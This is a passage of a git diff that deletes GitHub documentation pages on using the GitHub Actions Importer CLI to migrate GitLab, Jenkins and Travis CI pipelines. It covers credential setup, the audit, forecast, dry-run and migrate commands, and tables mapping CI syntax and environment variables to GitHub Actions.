Supported | -| `tags` | `jobs.<job_id>.runs-on` | Supported | -| `variables` | `env`, `jobs.<job_id>.env` | Supported | -| Run pipelines for new commits | `on.push` | Supported | -| Run pipelines manually | `on.workflow_dispatch` | Supported | -| `environment` | `jobs.<job_id>.environment` | Partially supported | -| `include` | Files referenced in an `include` statement are merged into a single job graph before being transformed. | Partially supported | -| `only` or `except` | `jobs.<job_id>.if` | Partially supported | -| `parallel` | `jobs.<job_id>.strategy` | Partially supported | -| `rules` | `jobs.<job_id>.if` | Partially supported | -| `services` | `jobs.<job_id>.services` | Partially supported | -| `workflow` | `if` | Partially supported | - -For information about supported GitLab constructs, see the [`github/gh-actions-importer` repository](https://github.com/github/gh-actions-importer/blob/main/docs/gitlab/index.md). - -### Environment variables syntax - -{% data variables.product.prodname_actions_importer %} uses the mapping in the table below to convert default GitLab environment variables to the closest equivalent in {% data variables.product.prodname_actions %}. - -| GitLab | GitHub Actions | -| :-------------------------------------------- | :------------------------------------------------------------------------------------ | -| `CI_API_V4_URL` | {% raw %}`${{ github.api_url }}`{% endraw %} | -| `CI_BUILDS_DIR` | {% raw %}`${{ github.workspace }}`{% endraw %} | -| `CI_COMMIT_BRANCH` | {% raw %}`${{ github.ref }}`{% endraw %} | -| `CI_COMMIT_REF_NAME` | {% raw %}`${{ github.ref }}`{% endraw %} | -| `CI_COMMIT_REF_SLUG` | {% raw %}`${{ github.ref }}`{% endraw %} | -| `CI_COMMIT_SHA` | {% raw %}`${{ github.sha }}`{% endraw %} | -| `CI_COMMIT_SHORT_SHA` | {% raw %}`${{ github.sha }}`{% endraw %} | -| `CI_COMMIT_TAG` | {% raw %}`${{ github.ref }}`{% endraw %} | -| `CI_JOB_ID` | {% raw %}`${{ github.job }}`{% endraw %} | -| `CI_JOB_MANUAL` | {% raw %}`${{ github.event_name == 'workflow_dispatch' }}`{% endraw %} | -| `CI_JOB_NAME` | {% raw %}`${{ github.job }}`{% endraw %} | -| `CI_JOB_STATUS` | {% raw %}`${{ job.status }}`{% endraw %} | -| `CI_JOB_URL` | {% raw %}`${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}`{% endraw %} | -| `CI_JOB_TOKEN` | {% raw %}`${{ github.token }}`{% endraw %} | -| `CI_NODE_INDEX` | {% raw %}`${{ strategy.job-index }}`{% endraw %} | -| `CI_NODE_TOTAL` | {% raw %}`${{ strategy.job-total }}`{% endraw %} | -| `CI_PIPELINE_ID` | {% raw %}`${{ github.repository}}/${{ github.workflow }}`{% endraw %} | -| `CI_PIPELINE_IID` | {% raw %}`${{ github.workflow }}`{% endraw %} | -| `CI_PIPELINE_SOURCE` | {% raw %}`${{ github.event_name }}`{% endraw %} | -| `CI_PIPELINE_TRIGGERED` | {% raw %}`${{ github.actions }}`{% endraw %} | -| `CI_PIPELINE_URL` | {% raw %}`${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}`{% endraw %} | -| `CI_PROJECT_DIR` | {% raw %}`${{ github.workspace }}`{% endraw %} | -| `CI_PROJECT_ID` | {% raw %}`${{ github.repository }}`{% endraw %} | -| `CI_PROJECT_NAME` | {% raw %}`${{ github.event.repository.name }}`{% endraw %} | -| `CI_PROJECT_NAMESPACE` | {% raw %}`${{ github.repository_owner }}`{% endraw %} | -| `CI_PROJECT_PATH_SLUG` | {% raw %}`${{ github.repository }}`{% endraw %} | -| `CI_PROJECT_PATH` | {% raw %}`${{ github.repository }}`{% endraw %} | -| `CI_PROJECT_ROOT_NAMESPACE` | {% raw %}`${{ github.repository_owner }}`{% endraw %} | -| `CI_PROJECT_TITLE` | {% raw %}`${{ github.event.repository.full_name }}`{% endraw %} | -| `CI_PROJECT_URL` | {% raw %}`${{ github.server_url }}/${{ github.repository }}`{% endraw %} | -| `CI_REPOSITORY_URL` | {% raw %}`${{ github.event.repository.clone_url }}`{% endraw %} | -| `CI_RUNNER_EXECUTABLE_ARCH` | {% raw %}`${{ runner.os }}`{% endraw %} | -| `CI_SERVER_HOST` | {% raw %}`${{ github.server_url }}`{% endraw %} | -| `CI_SERVER_URL` | {% raw %}`${{ github.server_url }}`{% endraw %} | -| `CI_SERVER` | {% raw %}`${{ github.actions }}`{% endraw %} | -| `GITLAB_CI` | {% raw %}`${{ github.actions }}`{% endraw %} | -| `GITLAB_USER_EMAIL` | {% raw %}`${{ github.actor }}`{% endraw %} | -| `GITLAB_USER_ID` | {% raw %}`${{ github.actor }}`{% endraw %} | -| `GITLAB_USER_LOGIN` | {% raw %}`${{ github.actor }}`{% endraw %} | -| `GITLAB_USER_NAME` | {% raw %}`${{ github.actor }}`{% endraw %} | -| `TRIGGER_PAYLOAD` | {% raw %}`${{ github.event_path }}`{% endraw %} | -| `CI_MERGE_REQUEST_ASSIGNEES` | {% raw %}`${{ github.event.pull_request.assignees }}`{% endraw %} | -| `CI_MERGE_REQUEST_ID` | {% raw %}`${{ github.event.pull_request.number }}`{% endraw %} | -| `CI_MERGE_REQUEST_IID` | {% raw %}`${{ github.event.pull_request.number }}`{% endraw %} | -| `CI_MERGE_REQUEST_LABELS` | {% raw %}`${{ github.event.pull_request.labels }}`{% endraw %} | -| `CI_MERGE_REQUEST_MILESTONE` | {% raw %}`${{ github.event.pull_request.milestone }}`{% endraw %} | -| `CI_MERGE_REQUEST_PROJECT_ID` | {% raw %}`${{ github.repository }}`{% endraw %} | -| `CI_MERGE_REQUEST_PROJECT_PATH` | {% raw %}`${{ github.repository }}`{% endraw %} | -| `CI_MERGE_REQUEST_PROJECT_URL` | {% raw %}`${{ github.server_url }}/${{ github.repository }}`{% endraw %} | -| `CI_MERGE_REQUEST_REF_PATH` | {% raw %}`${{ github.ref }}`{% endraw %} | -| `CI_MERGE_REQUEST_SOURCE_BRANCH_NAME` | {% raw %}`${{ github.event.pull_request.head.ref }}`{% endraw %} | -| `CI_MERGE_REQUEST_SOURCE_BRANCH_SHA` | {% raw %}`${{ github.event.pull_request.head.sha}}`{% endraw %} | -| `CI_MERGE_REQUEST_SOURCE_PROJECT_ID` | {% raw %}`${{ github.event.pull_request.head.repo.full_name }}`{% endraw %} | -| `CI_MERGE_REQUEST_SOURCE_PROJECT_PATH` | {% raw %}`${{ github.event.pull_request.head.repo.full_name }}`{% endraw %} | -| `CI_MERGE_REQUEST_SOURCE_PROJECT_URL` | {% raw %}`${{ github.event.pull_request.head.repo.url }}`{% endraw %} | -| `CI_MERGE_REQUEST_TARGET_BRANCH_NAME` | {% raw %}`${{ github.event.pull_request.base.ref }}`{% endraw %} | -| `CI_MERGE_REQUEST_TARGET_BRANCH_SHA` | {% raw %}`${{ github.event.pull_request.base.sha }}`{% endraw %} | -| `CI_MERGE_REQUEST_TITLE` | {% raw %}`${{ github.event.pull_request.title }}`{% endraw %} | -| `CI_EXTERNAL_PULL_REQUEST_IID` | {% raw %}`${{ github.event.pull_request.number }}`{% endraw %} | -| `CI_EXTERNAL_PULL_REQUEST_SOURCE_REPOSITORY` | {% raw %}`${{ github.event.pull_request.head.repo.full_name }}`{% endraw %} | -| `CI_EXTERNAL_PULL_REQUEST_TARGET_REPOSITORY` | {% raw %}`${{ github.event.pull_request.base.repo.full_name }}`{% endraw %} | -| `CI_EXTERNAL_PULL_REQUEST_SOURCE_BRANCH_NAME` | {% raw %}`${{ github.event.pull_request.head.ref }}`{% endraw %} | -| `CI_EXTERNAL_PULL_REQUEST_SOURCE_BRANCH_SHA` | {% raw %}`${{ github.event.pull_request.head.sha }}`{% endraw %} | -| `CI_EXTERNAL_PULL_REQUEST_TARGET_BRANCH_NAME` | {% raw %}`${{ github.event.pull_request.base.ref }}`{% endraw %} | -| `CI_EXTERNAL_PULL_REQUEST_TARGET_BRANCH_SHA` | {% raw %}`${{ github.event.pull_request.base.sha }}`{% endraw %} | - -## Legal notice - -{% data reusables.actions.actions-importer-legal-notice %} diff --git a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-jenkins-with-github-actions-importer.md b/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-jenkins-with-github-actions-importer.md deleted file mode 100644 index 9577404cc1f9..000000000000 --- a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-jenkins-with-github-actions-importer.md +++ /dev/null @@ -1,323 +0,0 @@ ---- -title: Migrating from Jenkins with GitHub Actions Importer -intro: 'Learn how to use {% data variables.product.prodname_actions_importer %} to automate the migration of your Jenkins pipelines to {% data variables.product.prodname_actions %}.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: tutorial -topics: - - Migration - - CI - - CD -shortTitle: Jenkins migration -redirect_from: - - /actions/migrating-to-github-actions/automated-migrations/migrating-from-jenkins-with-github-actions-importer ---- - -[Legal notice](#legal-notice) - -## About migrating from Jenkins with GitHub Actions Importer - -The instructions below will guide you through configuring your environment to use {% data variables.product.prodname_actions_importer %} to migrate Jenkins pipelines to {% data variables.product.prodname_actions %}. - -### Prerequisites - -* A Jenkins account or organization with pipelines and jobs that you want to convert to {% data variables.product.prodname_actions %} workflows. -* Access to create a Jenkins personal API token for your account or organization. -{% data reusables.actions.actions-importer-prerequisites %} - -### Limitations - -There are some limitations when migrating from Jenkins to {% data variables.product.prodname_actions %} with {% data variables.product.prodname_actions_importer %}. For example, you must migrate the following constructs manually: - -* Mandatory build tools -* Scripted pipelines -* Secrets -* Self-hosted runners -* Unknown plugins - -For more information on manual migrations, see [AUTOTITLE](/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-jenkins-to-github-actions). - -## Installing the {% data variables.product.prodname_actions_importer %} CLI extension - -{% data reusables.actions.installing-actions-importer %} - -## Configuring credentials - -The `configure` CLI command is used to set required credentials and options for {% data variables.product.prodname_actions_importer %} when working with Jenkins and {% data variables.product.prodname_dotcom %}. - -1. Create a {% data variables.product.prodname_dotcom %} {% data variables.product.pat_v1 %}. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens#creating-a-personal-access-token-classic). - - Your token must have the `workflow` scope. - - After creating the token, copy it and save it in a safe location for later use. -1. Create a Jenkins API token. For more information, see [Authenticating scripted clients](https://www.jenkins.io/doc/book/system-administration/authenticating-scripted-clients/) in the Jenkins documentation. - - After creating the token, copy it and save it in a safe location for later use. -1. In your terminal, run the {% data variables.product.prodname_actions_importer %} `configure` CLI command: - - ```shell - gh actions-importer configure - ``` - - The `configure` command will prompt you for the following information: - - * For "Which CI providers are you configuring?", use the arrow keys to select `Jenkins`, press <kbd>Space</kbd> to select it, then press <kbd>Enter</kbd>. - * For "{% data variables.product.pat_generic_caps %} for GitHub", enter the value of the {% data variables.product.pat_v1 %} that you created earlier, and press <kbd>Enter</kbd>. - * For "Base url of the GitHub instance", {% ifversion ghes %}enter the URL for {% data variables.location.product_location_enterprise %}, and press <kbd>Enter</kbd>.{% else %}press <kbd>Enter</kbd> to accept the default value (`https://github.com`).{% endif %} - * For "{% data variables.product.pat_generic_caps %} for Jenkins", enter the value for the Jenkins personal API token that you created earlier, and press <kbd>Enter</kbd>. - * For "Username of Jenkins user", enter your Jenkins username and press <kbd>Enter</kbd>. - * For "Base url of the Jenkins instance", enter the URL of your Jenkins instance, and press <kbd>Enter</kbd>. - - An example of the `configure` command is shown below: - - ```shell - $ gh actions-importer configure - ✔ Which CI providers are you configuring?: Jenkins - Enter the following values (leave empty to omit): - ✔ {% data variables.product.pat_generic_caps %} for GitHub: *************** - ✔ Base url of the GitHub instance: https://github.com - ✔ {% data variables.product.pat_generic_caps %} for Jenkins: *************** - ✔ Username of Jenkins user: admin - ✔ Base url of the Jenkins instance: https://localhost - Environment variables successfully updated. - ``` - -1. In your terminal, run the {% data variables.product.prodname_actions_importer %} `update` CLI command to connect to {% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %} and ensure that the container image is updated to the latest version: - - ```shell - gh actions-importer update - ``` - - The output of the command should be similar to below: - - ```shell - Updating ghcr.io/actions-importer/cli:latest... - ghcr.io/actions-importer/cli:latest up-to-date - ``` - -## Perform an audit of Jenkins - -You can use the `audit` command to get a high-level view of all pipelines in a Jenkins server. - -The `audit` command performs the following steps: - -1. Fetches all of the projects defined in a Jenkins server. -1. Converts each pipeline to its equivalent {% data variables.product.prodname_actions %} workflow. -1. Generates a report that summarizes how complete and complex of a migration is possible with {% data variables.product.prodname_actions_importer %}. - -### Running the audit command - -To perform an audit of a Jenkins server, run the following command in your terminal: - -```shell -gh actions-importer audit jenkins --output-dir tmp/audit -``` - -### Inspecting the audit results - -{% data reusables.actions.gai-inspect-audit %} - -## Forecast potential build runner usage - -You can use the `forecast` command to forecast potential {% data variables.product.prodname_actions %} usage by computing metrics from completed pipeline runs in your Jenkins server. - -### Prerequisites for running the forecast command - -In order to run the `forecast` command against a Jenkins instance, you must install the [`paginated-builds` plugin](https://plugins.jenkins.io/paginated-builds) on your Jenkins server. This plugin allows {% data variables.product.prodname_actions_importer %} to efficiently retrieve historical build data for jobs that have a large number of builds. Because Jenkins does not provide a method to retrieve paginated build data, using this plugin prevents timeouts from the Jenkins server that can occur when fetching a large amount of historical data. The `paginated-builds` plugin is open source, and exposes a REST API endpoint to fetch build data in pages, rather than all at once. - -To install the `paginated-builds` plugin: - -1. On your Jenkins instance, navigate to `https://<your-jenkins-instance>/pluginManager/available`. -1. Search for the `paginated-builds` plugin. -1. Check the box on the left and select **Install without restart**. - -### Running the forecast command - -To perform a forecast of potential {% data variables.product.prodname_actions %}, run the following command in your terminal. By default, {% data variables.product.prodname_actions_importer %} includes the previous seven days in the forecast report. - -```shell -gh actions-importer forecast jenkins --output-dir tmp/forecast -``` - -### Inspecting the forecast report - -The `forecast_report.md` file in the specified output directory contains the results of the forecast. - -Listed below are some key terms that can appear in the forecast report: - -* The **job count** is the total number of completed jobs. -* The **pipeline count** is the number of unique pipelines used. -* **Execution time** describes the amount of time a runner spent on a job. This metric can be used to help plan for the cost of {% data variables.product.prodname_dotcom %}-hosted runners. - * This metric is correlated to how much you should expect to spend in {% data variables.product.prodname_actions %}. This will vary depending on the hardware used for these minutes. You can use the [{% data variables.product.prodname_actions %} pricing calculator](https://github.com/pricing/calculator) to estimate the costs. -* **Queue time** metrics describe the amount of time a job spent waiting for a runner to be available to execute it. -* **Concurrent jobs** metrics describe the amount of jobs running at any given time. This metric can be used to define the number of runners you should configure. - -Additionally, these metrics are defined for each queue of runners in Jenkins. This is especially useful if there is a mix of hosted or self-hosted runners, or high or low spec machines, so you can see metrics specific to different types of runners. - -## Perform a dry-run migration of a Jenkins pipeline - -You can use the `dry-run` command to convert a Jenkins pipeline to its equivalent {% data variables.product.prodname_actions %} workflow. - -### Running the dry-run command - -You can use the `dry-run` command to convert a Jenkins pipeline to an equivalent {% data variables.product.prodname_actions %} workflow. A dry-run creates the output files in a specified directory, but does not open a pull request to migrate the pipeline. - -To perform a dry run of migrating your Jenkins pipelines to {% data variables.product.prodname_actions %}, run the following command in your terminal, replacing `my-jenkins-project` with the URL of your Jenkins job. - -```shell -gh actions-importer dry-run jenkins --source-url my-jenkins-project --output-dir tmp/dry-run -``` - -### Inspecting the converted workflows - -You can view the logs of the dry run and the converted workflow files in the specified output directory. - -{% data reusables.actions.gai-custom-transformers-rec %} - -## Perform a production migration of a Jenkins pipeline - -You can use the `migrate` command to convert a Jenkins pipeline and open a pull request with the equivalent {% data variables.product.prodname_actions %} workflow. - -### Running the migrate command - -To migrate a Jenkins pipeline to {% data variables.product.prodname_actions %}, run the following command in your terminal, replacing the `target-url` value with the URL for your {% data variables.product.github %} repository, and `my-jenkins-project` with the URL for your Jenkins job. - -```shell -gh actions-importer migrate jenkins --target-url https://github.com/:owner/:repo --output-dir tmp/migrate --source-url my-jenkins-project -``` - -The command's output includes the URL to the pull request that adds the converted workflow to your repository. An example of a successful output is similar to the following: - -```shell -$ gh actions-importer migrate jenkins --target-url https://github.com/octo-org/octo-repo --output-dir tmp/migrate --source-url http://localhost:8080/job/monas_dev_work/job/monas_freestyle -[2022-08-20 22:08:20] Logs: 'tmp/migrate/log/actions-importer-20220916-014033.log' -[2022-08-20 22:08:20] Pull request: 'https://github.com/octo-org/octo-repo/pull/1' -``` - -{% data reusables.actions.gai-inspect-pull-request %} - -## Reference - -This section contains reference information on environment variables, optional arguments, and supported syntax when using {% data variables.product.prodname_actions_importer %} to migrate from Jenkins. - -### Using environment variables - -{% data reusables.actions.gai-config-environment-variables %} - -{% data variables.product.prodname_actions_importer %} uses the following environment variables to connect to your Jenkins instance: - -* `GITHUB_ACCESS_TOKEN`: The {% data variables.product.pat_v1 %} used to create pull requests with a converted workflow (requires `repo` and `workflow` scopes). -* `GITHUB_INSTANCE_URL`: The URL to the target {% data variables.product.prodname_dotcom %} instance (for example, `https://github.com`). -* `JENKINS_ACCESS_TOKEN`: The Jenkins API token used to view Jenkins resources. - - > [!NOTE] - > This token requires access to all jobs that you want to migrate or audit. In cases where a folder or job does not inherit access control lists from their parent, you must grant explicit permissions or full admin privileges. - -* `JENKINS_USERNAME`: The username of the user account that created the Jenkins API token. -* `JENKINS_INSTANCE_URL`: The URL of the Jenkins instance. -* `JENKINSFILE_ACCESS_TOKEN` (Optional) The API token used to retrieve the contents of a `Jenkinsfile` stored in the build repository. This requires the `repo` scope. If this is not provided, the `GITHUB_ACCESS_TOKEN` will be used instead. - -These environment variables can be specified in a `.env.local` file that is loaded by {% data variables.product.prodname_actions_importer %} when it is run. - -### Using optional arguments - -{% data reusables.actions.gai-optional-arguments-intro %} - -#### `--source-file-path` - -You can use the `--source-file-path` argument with the `forecast`, `dry-run`, or `migration` subcommands. - -By default, {% data variables.product.prodname_actions_importer %} fetches pipeline contents from source control. The `--source-file-path` argument tells {% data variables.product.prodname_actions_importer %} to use the specified source file path instead. You can use this option for Jenkinsfile and multibranch pipelines. - -If you would like to supply multiple source files when running the `forecast` subcommand, you can use pattern matching in the file path value. For example, `gh forecast --source-file-path ./tmp/previous_forecast/jobs/*.json` supplies {% data variables.product.prodname_actions_importer %} with any source files that match the `./tmp/previous_forecast/jobs/*.json` file path. - -##### Jenkinsfile pipeline example - -In this example, {% data variables.product.prodname_actions_importer %} uses the specified Jenkinsfile as the source file to perform a dry run. - -```shell -gh actions-importer dry-run jenkins --output-dir path/to/output/ --source-file-path path/to/Jenkinsfile --source-url :url_to_jenkins_job -``` - -#### `--config-file-path` - -You can use the `--config-file-path` argument with the `audit`, `dry-run`, and `migrate` subcommands. - -By default, {% data variables.product.prodname_actions_importer %} fetches pipeline contents from source control. The `--config-file-path` argument tells {% data variables.product.prodname_actions_importer %} to use the specified source files instead. - -When you use the `--config-file-path` option with the `dry-run` or `migrate` subcommands, {% data variables.product.prodname_actions_importer %} matches the repository slug to the job represented by the `--source-url` option to select the pipeline. It uses the `config-file-path` to pull the specified source file. - -##### Audit example - -In this example, {% data variables.product.prodname_actions_importer %} uses the specified YAML configuration file to perform an audit. - -```shell -gh actions-importer audit jenkins --output-dir path/to/output/ --config-file-path path/to/jenkins/config.yml -``` - -To audit a Jenkins instance using a config file, the config file must be in the following format, and each `repository_slug` value must be unique: - -```yaml -source_files: - - repository_slug: pipeline-name - path: path/to/Jenkinsfile - - repository_slug: multi-branch-pipeline-name - branches: - - branch: main - path: path/to/Jenkinsfile - - branch: node - path: path/to/Jenkinsfile -``` - -### Supported syntax for Jenkins pipelines - -The following tables show the type of properties {% data variables.product.prodname_actions_importer %} is currently able to convert. For more details about how Jenkins pipeline syntax aligns with {% data variables.product.prodname_actions %}, see [AUTOTITLE](/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-jenkins-to-github-actions). - -For information about supported Jenkins plugins, see the [`github/gh-actions-importer` repository](https://github.com/github/gh-actions-importer/blob/main/docs/jenkins/index.md). - -#### Supported syntax for Freestyle pipelines - -| Jenkins | GitHub Actions | Status | -| :------------------------ | :--------------------------------- | :------------------ | -| docker template | `jobs.<job_id>.container` | Supported | -| build | `jobs` | Partially supported | -| build environment | `env` | Partially supported | -| build triggers | `on` | Partially supported | -| general | `runners` | Partially supported | - -#### Supported syntax for Jenkinsfile pipelines - -| Jenkins | GitHub Actions | Status | -| :---------- | :--------------------------------- | :------------------ | -| docker | `jobs.<job_id>.container` | Supported | -| stage | `jobs.<job_id>` | Supported | -| agent | `runners` | Partially supported | -| environment | `env` | Partially supported | -| stages | `jobs` | Partially supported | -| steps | `jobs.<job_id>.steps` | Partially supported | -| triggers | `on` | Partially supported | -| when | `jobs.<job_id>.if` | Partially supported | -| inputs | `inputs` | Unsupported | -| matrix | `jobs.<job_id>.strategy.matrix` | Unsupported | -| options | `jobs.<job_id>.strategy` | Unsupported | -| parameters | `inputs` | Unsupported | - -### Environment variables syntax - -{% data variables.product.prodname_actions_importer %} uses the mapping in the table below to convert default Jenkins environment variables to the closest equivalent in {% data variables.product.prodname_actions %}. - -| Jenkins | GitHub Actions | -| :---------------- | :------------------------------------------------------------------------------------ | -| `${BUILD_ID}` | `{% raw %}${{ github.run_id }}{% endraw %}` | -| `${BUILD_NUMBER}` | `{% raw %}${{ github.run_id }}{% endraw %}` | -| `${BUILD_TAG}` | `{% raw %}${{ github.workflow }}-${{ github.run_id }}{% endraw %}` | -| `${BUILD_URL}` | `{% raw %}${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}{% endraw %}` | -| `${JENKINS_URL}` | `{% raw %}${{ github.server_url }}{% endraw %}` | -| `${JOB_NAME}` | `{% raw %}${{ github.workflow }}{% endraw %}` | -| `${WORKSPACE}` | `{% raw %}${{ github.workspace }}{% endraw %}` | - -## Legal notice - -{% data reusables.actions.actions-importer-legal-notice %} diff --git a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-travis-ci-with-github-actions-importer.md b/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-travis-ci-with-github-actions-importer.md deleted file mode 100644 index 3dc16b64bebb..000000000000 --- a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-travis-ci-with-github-actions-importer.md +++ /dev/null @@ -1,364 +0,0 @@ ---- -title: Migrating from Travis CI with GitHub Actions Importer -intro: 'Learn how to use {% data variables.product.prodname_actions_importer %} to automate the migration of your Travis CI pipelines to {% data variables.product.prodname_actions %}.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: tutorial -topics: - - Migration - - CI - - CD -shortTitle: Travis CI migration -redirect_from: - - /actions/migrating-to-github-actions/automated-migrations/migrating-from-travis-ci-with-github-actions-importer ---- - -[Legal notice](#legal-notice) - -## About migrating from Travis CI with GitHub Actions Importer - -The instructions below will guide you through configuring your environment to use {% data variables.product.prodname_actions_importer %} to migrate Travis CI pipelines to {% data variables.product.prodname_actions %}. - -### Prerequisites - -* A Travis CI account or organization with pipelines and jobs that you want to convert to {% data variables.product.prodname_actions %} workflows. -* Access to create a Travis CI API access token for your account or organization. -{% data reusables.actions.actions-importer-prerequisites %} - -### Limitations - -There are some limitations when migrating from Travis CI pipelines to {% data variables.product.prodname_actions %} with {% data variables.product.prodname_actions_importer %}. - -#### Manual tasks - -Certain Travis CI constructs must be migrated manually. These include: - -* Secrets -* Unknown job properties - -For more information on manual migrations, see [AUTOTITLE](/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-travis-ci-to-github-actions). - -#### Travis CI project languages - -{% data variables.product.prodname_actions_importer %} transforms Travis CI project languages by adding a set of preconfigured build tools and a default build script to the transformed workflow. If no language is explicitly declared, {% data variables.product.prodname_actions_importer %} assumes a project language is Ruby. - -For a list of the project languages supported by {% data variables.product.prodname_actions_importer %}, see [Supported project languages](#supported-project-languages). - -## Installing the {% data variables.product.prodname_actions_importer %} CLI extension - -{% data reusables.actions.installing-actions-importer %} - -## Configuring credentials - -The `configure` CLI command is used to set required credentials and options for {% data variables.product.prodname_actions_importer %} when working with Travis CI and {% data variables.product.prodname_dotcom %}. - -1. Create a {% data variables.product.prodname_dotcom %} {% data variables.product.pat_v1 %}. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens#creating-a-personal-access-token-classic). - - Your token must have the `workflow` scope. - - After creating the token, copy it and save it in a safe location for later use. -1. Create a Travis CI API access token. For more information, see [Get your Travis CI API token](https://docs.travis-ci.com/user/migrate/travis-migrate-to-apps-gem-guide/#4-get-your-travis-ci-api-token) in the Travis CI documentation. - - After creating the token, copy it and save it in a safe location for later use. -1. In your terminal, run the {% data variables.product.prodname_actions_importer %} `configure` CLI command: - - ```shell - gh actions-importer configure - ``` - - The `configure` command will prompt you for the following information: - - * For "Which CI providers are you configuring?", use the arrow keys to select `Travis CI`, press <kbd>Space</kbd> to select it, then press <kbd>Enter</kbd>. - * For "{% data variables.product.pat_generic_caps %} for GitHub", enter the value of the {% data variables.product.pat_v1 %} that you created earlier, and press <kbd>Enter</kbd>. - * For "Base url of the GitHub instance", {% ifversion ghes %}enter the URL for {% data variables.location.product_location_enterprise %}, and press <kbd>Enter</kbd>.{% else %}press <kbd>Enter</kbd> to accept the default value (`https://github.com`).{% endif %} - * For "{% data variables.product.pat_generic_caps %} for Travis CI", enter the value for the Travis CI API access token that you created earlier, and press <kbd>Enter</kbd>. - * For "Base url of the Travis CI instance", enter the URL of your Travis CI instance, and press <kbd>Enter</kbd>. - * For "Travis CI organization name", enter the name of your Travis CI organization, and press <kbd>Enter</kbd>. - - An example of the output of the `configure` command is shown below. - - ```shell - $ gh actions-importer configure - ✔ Which CI providers are you configuring?: Travis CI - Enter the following values (leave empty to omit): - ✔ {% data variables.product.pat_generic_caps %} for GitHub: *************** - ✔ Base url of the GitHub instance: https://github.com - ✔ {% data variables.product.pat_generic_caps %} for Travis CI: *************** - ✔ Base url of the Travis CI instance: https://travis-ci.com - ✔ Travis CI organization name: actions-importer-labs - Environment variables successfully updated. - ``` - -1. In your terminal, run the {% data variables.product.prodname_actions_importer %} `update` CLI command to connect to {% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %} and ensure that the container image is updated to the latest version: - - ```shell - gh actions-importer update - ``` - - The output of the command should be similar to below: - - ```shell - Updating ghcr.io/actions-importer/cli:latest... - ghcr.io/actions-importer/cli:latest up-to-date - ``` - -## Perform an audit of Travis CI - -You can use the `audit` command to get a high-level view of all pipelines in a Travis CI server. - -The `audit` command performs the following steps: - -1. Fetches all of the projects defined in a Travis CI server. -1. Converts each pipeline to its equivalent {% data variables.product.prodname_actions %} workflow. -1. Generates a report that summarizes how complete and complex of a migration is possible with {% data variables.product.prodname_actions_importer %}. - -### Running the audit command - -To perform an audit of a Travis CI server, run the following command in your terminal: - -```shell -gh actions-importer audit travis-ci --output-dir tmp/audit -``` - -### Inspecting the audit results - -{% data reusables.actions.gai-inspect-audit %} - -## Forecast potential build runner usage - -You can use the `forecast` command to forecast potential {% data variables.product.prodname_actions %} usage by computing metrics from completed pipeline runs in your Travis CI server. - -### Running the forecast command - -To perform a forecast of potential {% data variables.product.prodname_actions %} usage, run the following command in your terminal. By default, {% data variables.product.prodname_actions_importer %} includes the previous seven days in the forecast report. - -```shell -gh actions-importer forecast travis-ci --output-dir tmp/forecast -``` - -### Inspecting the forecast report - -The `forecast_report.md` file in the specified output directory contains the results of the forecast. - -Listed below are some key terms that can appear in the forecast report: - -* The **job count** is the total number of completed jobs. -* The **pipeline count** is the number of unique pipelines used. -* **Execution time** describes the amount of time a runner spent on a job. This metric can be used to help plan for the cost of {% data variables.product.prodname_dotcom %}-hosted runners. - * This metric is correlated to how much you should expect to spend in {% data variables.product.prodname_actions %}. This will vary depending on the hardware used for these minutes. You can use the [{% data variables.product.prodname_actions %} pricing calculator](https://github.com/pricing/calculator) to estimate the costs. -* **Queue time** metrics describe the amount of time a job spent waiting for a runner to be available to execute it. -* **Concurrent jobs** metrics describe the amount of jobs running at any given time. This metric can be used to define the number of runners you should configure. - -Additionally, these metrics are defined for each queue of runners in Travis CI. This is especially useful if there is a mix of hosted or self-hosted runners, or high or low spec machines, so you can see metrics specific to different types of runners. - -## Perform a dry-run migration of a Travis CI pipeline - -You can use the `dry-run` command to convert a Travis CI pipeline to an equivalent {% data variables.product.prodname_actions %} workflow. A dry-run creates the output files in a specified directory, but does not open a pull request to migrate the pipeline. - -To perform a dry run of migrating your Travis CI pipelines to {% data variables.product.prodname_actions %}, run the following command in your terminal, replacing `my-travis-ci-repository` with the name of your Travis CI repository. - -```shell -gh actions-importer dry-run travis-ci --travis-ci-repository my-travis-ci-repository --output-dir tmp/dry-run -``` - -You can view the logs of the dry run and the converted workflow files in the specified output directory. - -{% data reusables.actions.gai-custom-transformers-rec %} - -## Perform a production migration of a Travis CI pipeline - -You can use the `migrate` command to convert a Travis CI pipeline and open a pull request with the equivalent {% data variables.product.prodname_actions %} workflow. - -### Running the migrate command - -To migrate a Travis CI pipeline to {% data variables.product.prodname_actions %}, run the following command in your terminal, replacing the `target-url` value with the URL for your {% data variables.product.prodname_dotcom %} repository, and `my-travis-ci-repository` with the name of your Travis CI repository. - -```shell -gh actions-importer migrate travis-ci --target-url https://github.com/octo-org/octo-repo --output-dir tmp/migrate --travis-ci-repository my-travis-ci-repository -``` - -The command's output includes the URL to the pull request that adds the converted workflow to your repository. An example of a successful output is similar to the following: - -```shell -$ gh actions-importer migrate travis-ci --target-url https://github.com/octo-org/octo-repo --output-dir tmp/migrate --travis-ci-repository my-travis-ci-repository -[2022-08-20 22:08:20] Logs: 'tmp/migrate/log/actions-importer-20220916-014033.log' -[2022-08-20 22:08:20] Pull request: 'https://github.com/octo-org/octo-repo/pull/1' -``` - -{% data reusables.actions.gai-inspect-pull-request %} - -## Reference - -This section contains reference information on environment variables, optional arguments, and supported syntax when using {% data variables.product.prodname_actions_importer %} to migrate from 